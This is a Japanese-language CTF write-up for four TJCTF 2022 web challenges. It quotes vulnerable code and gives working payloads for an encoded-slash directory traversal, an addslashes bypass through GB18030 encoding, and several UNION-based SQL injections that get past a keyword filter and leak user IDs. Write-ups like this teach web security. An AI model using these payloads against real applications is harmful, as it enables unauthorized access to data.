🔖

tjctf2022 writeup

2023/09/02に公開

photoable

imageidにディレクトリトラバーサルしそうな文字列を入れたらflagが入手できそうなことがわかる

app.get("/image/:imageid/download", (req, res) => {
  let { imageid } = req.params;

  res.sendFile(path.join(__dirname, `photobucket/${getFileName(imageid)}`));
});

愚直に/image/../flag.txt/downloadとするとアクセスができない

内部でディレクトリトラバーサルされるように/をエンコードし、/image/..%2fflag.txt/downloadとすることでflagを入手

analects

initファイルを見ているとflagがflagテーブルに流されることがわかる

#!/bin/bash

cd /docker-entrypoint-initdb.d

if [ -f flag.txt ]; then
  read flag < flag.txt
  mysql -u root -p"$MYSQL_ROOT_PASSWORD" analects -e "UPDATE flag SET flag='$flag';"
fi

ソースコードを見るとSQLi出来そうな箇所が見つかる

$query = addslashes($_GET["q"]);
$sql = "SELECT * FROM analects WHERE chinese LIKE '%{$query}%' OR english LIKE '%{$query}%'";
$result = $db->query($sql);

しかしaddslashes関数が入っているため処理が必要そう

どうやら文字コードがGB18030らしく、addslashesをすり抜けることができる

%bf%5c'でシングルクオートをバイパス、その後unionでクエリを書いて%23で#?コメントアウトしておしまい

https://analects.tjc.tf/search.php?q=%61%bf%5c'union select 1,1,1,1,1,flag from flag%23

ascordle

wordleが解ければflagがレスポンスに含まれる

if (checkWord(word)) {
    return res.json({
        check: true,
        flag: flag,
        sql: false,
        colors: right,
    })
}
const checkWord = (word) => {
    const query = db.prepare(`SELECT * FROM answer WHERE word = '${word}'`)
    return typeof query.get() !== 'undefined'
}

SQLの検索結果が一つでも返ってくればcheckWordがtrueを返すためSQLiで一つでも返すようにさせようと考えたが、内部のwaf関数でOR or -- = > <が弾かれる

そのため、unionを用いてanswerテーブルを結合させた

hoge' union select * from answer '
シングルクオートを合わせておしまい

game-leaderboard

app.get('/user/:userID', (req, res) => {
    const leaderboard = getLeaderboard()
    const total = leaderboard.length

    const profile = leaderboard.find(x => x.profile_id == req.params.userID)
    if (typeof profile === 'undefined') {
        return res.render('user_info', { notFound: true })
    }

    const flag = (profile.rank === 1) ? FLAG : 'This is reserved for winners only!'
    return res.render('user_info', { total, flag, ...profile })
})

ソースコードを見るとuserIDのrankが1であればflagが入手できることがわかる

しかしuserIDがわからない

SQLi出来そうな箇所があるのでuserID(profile_id)を入手

const where = (typeof minScore !== 'undefined' && minScore !== '') ? ` WHERE score > ${minScore}` : ''
const query = `SELECT profile_id, name, score FROM leaderboard${where} ORDER BY score DESC`
const stmt = db.prepare(query)

-1000 union all select score, name, profile_id from leaderboard --

(後ろ2つのカラムがフロントに表示されるのでprofile_idの位置を元のクエリと変更している)

Discussion